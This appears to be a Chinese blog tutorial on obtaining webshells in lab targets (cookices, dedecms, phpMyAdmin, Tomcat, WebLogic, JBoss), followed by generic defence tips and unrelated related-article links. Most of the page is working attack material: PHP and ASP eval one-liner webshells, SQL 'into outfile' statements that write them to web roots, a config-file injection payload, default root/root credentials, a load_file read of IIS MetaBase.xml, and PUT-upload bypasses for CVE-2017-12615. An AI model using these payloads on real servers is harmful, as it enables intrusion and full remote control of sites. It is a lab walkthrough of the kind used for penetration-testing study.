webshell获取总结（cms获取方法、非cms获取方法、中间件拿Webshell方法）

目录

前期准备：

1、cookices靶场网站搭建：

 2、dedecms靶场环境搭建：

获取Webshell方法总结：

一、CMS获取Webshell方法

 二、非CMS获取Webshell方法

1、数据库备份获取Webshell

例如：

2、抓包上传获取Webshell

3、Sql命令获取Webshell

例如：

4、模板修改获取Webshell

例如：

5、插入一句话获取Webshell

例如：

6、修改上传类型获取Webshell

例如：

7、phpMyAdmin获取webshell

三、其它获取Webshell方法

中间件拿Webshell方法：

1、Tomcat获取Webshell

2、Weblogic获取Webshell

3、JBoss获取Webshell

 四、合法的安全实践与防御措施：

正确使用CMS的建议：

合法途径与安全建议：

前期准备：

1、cookices靶场网站搭建：

iis新建网站：

权限配置：

IUSR用户设置所有权限： 

属性--设置父路径：

管理员登录网站：

账户：admin  admin

http://10.0.0.101:82/admin/Login.asp

 2、dedecms靶场环境搭建：

http://10.0.0.101:90/dedecms/install/

打开phpstudy配置文件， iregister_globalsg改为off，重启phpstudy生效：

刷新页面： 

 登录后台：

http://10.0.0.101:90/dedecms/dede/

 完成。

获取Webshell方法总结：

一、CMS获取Webshell方法

主要通过百度搜索CMS网站程序名称。        

如:phpcms拿Webshell、WordPress后台拿Webshell等

 二、非CMS获取Webshell方法

1、数据库备份获取Webshell

例如：

cookices靶场后台：在首页--企业信息--企业简介含文件上传：

上传文件进行上传照片马：

木马文件被后台重命名jpg文件 ：

照片地址
http://10.0.0.101:82/UploadFiles/2024612172324797.jpg

找到【系统管理-数据库备份】把原来上传的照片马重命名备份： 

 备份的照片马物理路径调整为链接进行阅览器访问：

http://10.0.0.101:82/admin/Databackup/123.asa

照片马成功执行： 

菜刀远程访问： 

http://10.0.0.101:82/admin/Databackup/123.asaSkull.

2、抓包上传获取Webshell

3、Sql命令获取Webshell

例如：

dedecms靶场后台--系统--SQL命令行工具：

 插入一句话语句写入到站点目录：

Select '<?php eval($_POST[chopper]);?>' into outfile 'c:/phpstudy/www/eval.php';

 前提：MySQL配置文件secure_file_priv="" 为空

 

 成功上传根目录：

 菜刀远程访问：

http://10.0.0.101:90/eval.phpchopper

成功连接访问：

4、模板修改获取Webshell

例如：

 dedecms靶场后台：模板--标签源码管理--编辑php文件：

为php代码修改为php一句话木马：： 

 

 根据文件存放目录访问木马文件：

菜刀远程连接：

http://10.0.0.101:90/dedecms/include/taglib/adminname.lib.phpchopper

 成功访问：

5、插入一句话获取Webshell

例如：

cookices靶场后台：【站点-系统管理-网站配置】与网站配置文件【Config.asp】显示内容一致：

说明：修改站点网站配置内容会直接保存在Config.asp文件里，根据这一特性编辑一句话木马语句插入到网站配置里

 一句话木马：（先用"%>进行闭合前面内容）

"%><%eval request("Skull.")%><%'"

 访问一句话木马

http://10.0.0.101:82/inc/config.asp

菜刀远程连接：

 

6、修改上传类型获取Webshell

例如：

 dedecms靶场后台：核心--附件管理--文件式管理器--点击文件上传：

上传php木马： 

 上传成功，点击访问：

成功执行： 

7、phpMyAdmin获取webshell

web方式mysql管理工具phpMyAdmin

http://10.0.0.101:90/phpmyadmin/

默认账户：root

默认密码：root

 

 点击SQL输入sql语句插入一句话木马：

方法一： 

CREATE TABLE `mysql`.`best` (`best1` TEXT NOT NULL );
INSERT INTO `mysql`.`best` (`best1` ) VALUES ('<?php @eval($_POST[pass]);?>');
use mysql;
SELECT `best1` FROM `best` INTO OUTFILE 'c:\\phpStudy\\WWW\\best111111.php';
DROP TABLE IF EXISTS `best`;

方法二： 

Create TABLE oldboy (best text NOT NULL);
Insert INTO oldboy (best) VALUES('<?php @eval($_POST[pass]);?>');
select best from oldboy into outfile 'C:\\php\\htdocs\\best111111.php';
Drop TABLE IF EXISTS oldboy;

方法三：

select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\htdocs\\best111111.php';

 或

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'C:/php/htdocs/best111111.php';

读取文件内容 

select load_file(‘c://windows//system32//inetsrv//MetaBase.xml');
c:/windows/system32/inetsrv/MetaBase.xml

三、其它获取Webshell方法

中间件拿Webshell方法：

1、Tomcat获取Webshell

Tomcat文件上传漏洞：

CVE-2017-12615

CVE-2020-1938

弱口令&war远程部署

参考链接：

干货｜最全的Tomcat漏洞复现笔记

CVE-2017-12615漏洞：

CVE-2017-12615对应的漏洞为任意文件写入，主要影响的是Tomcat的7.0.0-7.0.81这几个版本

Tomcat-漏洞原理

由于配置不当（非默认配置），将配置文件conf/web.xml中的readonly设置为了 false，导致可以使用PUT方法上传任意文件，但限制了jsp后缀的上传

根据描述，在 Windows 服务器下，将 readonly 参数设置为 false 时，即可通过 PUT 方式创建一个 JSP 文件，并可以执行任意代码

通过阅读 conf/web.xml 文件，可以发现，默认 readonly 为 true，当 readonly 设置为 false 时，可以通过 PUT / DELETE 进行文件操控。

这里就需要进行绕过，这里绕过有三种方法：

1.Windows下不允许文件以空格结尾（限于Windows下）
以PUT /a001.jsp%20 HTTP/1.1上传到 Windows会被自动去掉末尾空格2.Windows NTFS流（限于Windows下）
Put/a001.jsp::$DATA HTTP/1.13. /在文件名中是非法的，也会被去除（Linux/Windows）
Put/a001.jsp/http:/1.1

2、Weblogic获取Webshell

任意文件上传漏洞操作（CVE-2018-2894）

未授权访问路径:（未登录）

http://10.0.0.101:7001/ws_utc/config.do

​

 修改当前的工作目录

 默认为：

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir

修改为： 

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css

​

 修改目录之后，点击安全--添加--输入账号密码---选择木马文件--bp抓包--提交上传​

 获取响应包：

​

上传成功：

​

访问上传的木马文件：

访问连接修改抓包获取的id和文件名（1715849377709_muma.jsp）

http://10.0.0.101:7001/ws_utc/css/config/keystore/1715849377709_muma.jsp

 木马文件成功访问执行：

​

由此可以使用webshell工具远程控制。

3、JBoss获取Webshell

 如：访问上传的【jobfan.war压缩包】里的no.jsp文件（jobfan.war压缩包含木马文件）

​

​

 阅览器访问：

（ jboss访问：压缩包名+文件名）

http://10.0.0.101:7777/jobfan/no.jsp

​

 可以执行操作相关命令：​

四、合法的安全实践和防御措施总结：

  1. 安全培训：提升团队对网络安全威胁的意识，包括Webshell的危害和防御策略。
  2. 代码审计：定期审查网站代码，查找并修复潜在的安全漏洞，如注入、跨站脚本(XSS)、文件包含等。
  3. 权限控制：严格限制服务器和应用程序的访问权限，遵循最小权限原则。
  4. 安全配置：正确配置Web服务器、数据库和应用程序框架，禁用不必要的功能和服务。
  5. 输入验证与过滤：对所有用户输入进行严格的验证和过滤，避免恶意数据执行。
  6. 安全更新：定期更新CMS、插件、主题及所有依赖组件，修补已知安全漏洞。
  7. 防火墙与IDS：部署Web应用防火墙和入侵检测系统，监测并阻止可疑请求。
  8. 日志监控：定期审查系统和应用日志，及时发现并响应异常活动。
  9. 备份与恢复计划：制定数据备份策略，确保在遭受攻击时能够迅速恢复。

请始终遵循合法合规的途径，保护网络安全，维护数据隐私，共同营造健康的网络环境。

合法途径与安全建议：

  1. 安全审计与渗透测试：

    • 对网站进行定期的安全审计和渗透测试，但需确保在合法授权下进行，旨在发现并修复安全漏洞，而非恶意利用。

  2. 教育与培训：

    • 加强团队对网络安全知识的学习，了解常见的攻击手段如SQL注入、文件上传漏洞等，并掌握防范措施。

  3. 强化防护措施：

    • 配置服务器以限制不必要的文件执行权限，启用防火墙规则，定期更新系统及应用程序补丁。

  4. 代码审查与安全开发：

    • 实施严格的代码审查流程，采用安全编码实践，如对用户输入进行过滤和验证，使用预编译语句预防SQL注入等。

  5. 应急响应计划：

    • 制定详细的网络安全事件应急响应计划，以便在发生安全事件时迅速有效地应对。

声明：

  • 此文章只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试留言私信，如有侵权请联系小编处理。
  • 请始终遵循合法合规的安全操作，维护网络安全环境，保护用户数据安全。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/diannao/26661.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

新注册与新核准有什么区别？在哪可以找到新注册新核准的企业名单？

新注册与新核准有什么区别？在哪可以找到新注册新核准的企业名单？

新注册&#xff1a;指的是公司刚刚完成工商注册登记&#xff0c;成为法律意义的经营实体。 新核准&#xff1a;指的是企业通过证券监管机构的审核&#xff0c;获得公开发行股票或债券的资格。 注册主要关注企业的基本资质和合规性&#xff0c;而核准是已经注册的公司进行财务…
阅读更多...
49.Python-web框架-Django解决多语言redirect时把post改为get的问题

49.Python-web框架-Django解决多语言redirect时把post改为get的问题

目录 1.背景 2.思路 3.寻找 Find and Replace 4.再次运行程序&#xff0c;POST来了 5.小结 1.背景 昨天在练习一个Django功能时&#xff0c;把form的method设置为POST&#xff0c;但是实际提交时&#xff0c;一直是GET方法。最后发现这是与多语言相关&#xff0c;django前面…
阅读更多...
FRP 内网穿透 | 实现远程访问与安全管理

FRP 内网穿透 | 实现远程访问与安全管理

唠唠闲话 内网穿透简介 在互联网上&#xff0c;两个不同主机进行通信需要知道对方的 IP 地址。由于世界人口和设备众多&#xff0c;IPv4 资源相对紧缺&#xff0c;因此绝大部分情况下是通过路由器或交换机转换公网 IP 后才上网。 位于路由器或交换机后的设备通常是内网设备&…
阅读更多...
C#操作MySQL从入门到精通(22)——创建表与操纵表

C#操作MySQL从入门到精通(22)——创建表与操纵表

前言 我们新建数据库以后，最需要做的就是创建表，对数据库的操作绝大多数情况下都是都对表的操作，本文就是讲解如何创建表以及修改表中的列，修改表名等操作。由于创建表的方法基本上有两种，一种是使用带有界面的工具比如Navicate来创建表，另一种是使用sql语句来创建表，实…
阅读更多...
SAP 价格金额信息控制

SAP 价格金额信息控制

1)migo / mb51/mb51/mb59 关于价格和金额的显示&#xff0c;需要权限控制&#xff0c;当权限对象F_BKPF_BUK,检查对应【公司代码】 和 ACTVT有03’的权限&#xff0c;如果没有03的权限&#xff0c;对应行的价格和金额显示为空 关于价格和金额的显示&#xff0c;需要权限控制&a…
阅读更多...
景联文科技：打造亿级高质量教育题库，赋能教育大语言模型新未来

景联文科技：打造亿级高质量教育题库，赋能教育大语言模型新未来

随着人工智能技术的持续进步&#xff0c;从广泛的通用大语言模型到针对各行业的垂直大语言模型&#xff0c;已成为人工智能大语言模型技术深化演进的必然趋势。 教育大语言模型是适用于教育场景、具有庞大规模参数、融合了广泛的通用知识和专业知识训练形成的人工智能模型。能为…
阅读更多...
多商户小程序开发步骤和方法

多商户小程序开发步骤和方法

在当今的数字经济中&#xff0c;多商户小程序作为一种创新的商业平台&#xff0c;提供了一种新的商业模式&#xff0c;使多个商户能够在同一平台上展示和销售他们的产品或服务。这种模式不仅增强了消费者选择的多样性&#xff0c;也为商家提供了一个更广泛的销售渠道。以下是详…
阅读更多...
Modbus协议转Profinet协议网关与气体监测系统配置案例

Modbus协议转Profinet协议网关与气体监测系统配置案例

一、背景&#xff1b;Modbus协议和Profinet协议作为工业领域常见的两种通讯协议&#xff0c;各自具有一定的特点和应用范围。Modbus转Profinet网关&#xff08;XD-MDPN100/300&#xff09;在工业自动化控制系统中&#xff0c;可以将Modbus协议转换为Profinet协议&#xff0c;以…
阅读更多...
基于栅格占据概率和距离场的机器人覆盖轨迹模拟

基于栅格占据概率和距离场的机器人覆盖轨迹模拟

基于栅格占据概率和距离场的机器人覆盖轨迹模拟 简介 辐射场模型实现 理论基础 指数函数建模 我们使用指数函数来表示机器人在某个栅格上停留时间对覆盖概率的影响: p ( t ) 1 − e − λ t p(t) 1 - e^{-\lambda t} p(t)1−e−λt 其中 λ \lambda λ 是控制增长速率…
阅读更多...
【SpringBoot+Vue】后端代码学习记录——登录功能开发

【SpringBoot+Vue】后端代码学习记录——登录功能开发

参考资料 https://www.cnblogs.com/three-fighter/p/14332288.html 零、前端开发 略。之前有过。 一、后端开发 1、统一结果封装 创建了一个 Result 类&#xff0c;用于异步统一返回的结果封装。一般来说&#xff0c;结果里面有几个要素必要的 是否成功&#xff0c;可用 c…
阅读更多...
不会开发的你也能管理好企业漏洞，开源免费工具：洞察（insight II）

不会开发的你也能管理好企业漏洞，开源免费工具：洞察（insight II）

公司刚开始建设安全管理时&#xff0c;都是从一片混沌开始的&#xff0c;资源总是不够的&#xff0c;我们每个做安全的人员&#xff0c;又要会渗透&#xff0c;又要抓制度&#xff0c;还得管理各种漏洞。在管理楼栋是&#xff0c;我相信大家都遇到过以下几个问题&#xff1a; …
阅读更多...
李宏毅深度学习01——基本概念简介

李宏毅深度学习01——基本概念简介

视频链接 基本概念 Regression&#xff08;回归&#xff09;&#xff1a; 类似于填空 Classification&#xff08;分类&#xff09;&#xff1a; 类似于选择 Structure Learning&#xff08;机器学习&#xff09;&#xff1a; &#xff1f;&#xff1f; 机器学习找对应函数…
阅读更多...
Python基础教程（十六）：正则表达式

Python基础教程（十六）：正则表达式

&#x1f49d;&#x1f49d;&#x1f49d;首先&#xff0c;欢迎各位来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里不仅可以有所收获&#xff0c;同时也能感受到一份轻松欢乐的氛围&#xff0c;祝你生活愉快&#xff01; &#x1f49d;&#x1f49…
阅读更多...
查分易老师怎么用？

查分易老师怎么用？

老师们想知道怎么样创建一个查分易成绩查询系统吗&#xff1f;" 这是许多老师在学期结束时关心的问题。别担心&#xff0c;查分易小程序让查询发布工作变得省事又高效。 首先成绩Excel表格格式要设置正确。第一行必须是表头&#xff0c;包含学生的"姓名"、"…
阅读更多...
C++中的结构体——结构体中const的使用场景

C++中的结构体——结构体中const的使用场景

作用&#xff1a;用const来防止误操作 示例 运行结果
阅读更多...
2024酒店IPTV云桌面系统建设方案

2024酒店IPTV云桌面系统建设方案

Hello大家好&#xff0c;我是点量小芹&#xff0c;这一年多的时间一直在分享实时云渲染像素流相关的内容&#xff0c;今天和大家聊聊酒店IPTV云桌面电视系统解决方案&#xff0c;或者有的朋友也会称之为IPTV服务器。熟悉小芹的朋友知道&#xff0c;IPTV软件系统是我们一直在推的…
阅读更多...
MySQL之高级特性(三)

MySQL之高级特性(三)

高级特性 分布式(XA)事务 存储引擎的事务特性能够保证在存储引擎级别实现ACID,而分布式事务则让存储引擎级别的ACID可以扩展到数据库层面&#xff0c;甚至可以扩展到多个数据库之间——这需要通过两阶段提交实现。MySQL5.0和更新版本的数据库已经开始支持XA事务了。XA事务中需…
阅读更多...
架构设计 - nginx 的核心机制与主要应用场景

架构设计 - nginx 的核心机制与主要应用场景

一、nginx 的核心机制&#xff1a; 1. 事件驱动模型&#xff08;epoll 多路复用&#xff09; 事件循环&#xff1a; Nginx的核心组件是一个事件循环&#xff0c;它不断地监听事件&#xff08;如新连接的到来、请求数据的可读性等&#xff09;。 当有事件发生时&#xff0c;事…
阅读更多...
放弃Venn-Upset-花瓣图，拥抱二分网络

放弃Venn-Upset-花瓣图，拥抱二分网络

写在前面 让点随机排布在一个区域&#xff0c;保证点之间不重叠,并且将点的图层放到最上层&#xff0c;保证节点最清晰&#xff0c;然后边可以进行透明化&#xff0c;更加突出节点的位置。这里我新构建了布局函数 PolyRdmNotdCirG 来做这个随机排布。调用的是packcircles包的算…
阅读更多...
商家转账到零钱最全面攻略：申请、使用、注意事项等详解

商家转账到零钱最全面攻略：申请、使用、注意事项等详解

一、微信商家转账到零钱功能概述 微信支付作为国内最大社交软件的增值服务&#xff0c;在商业活动中广泛使用。其开发的营销功能“商家转账到零钱”则允许商家直接将资金转入用户的微信钱包&#xff0c;操作简便快捷。本文将详细探讨此功能的使用条件、操作步骤以及解答一些常…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023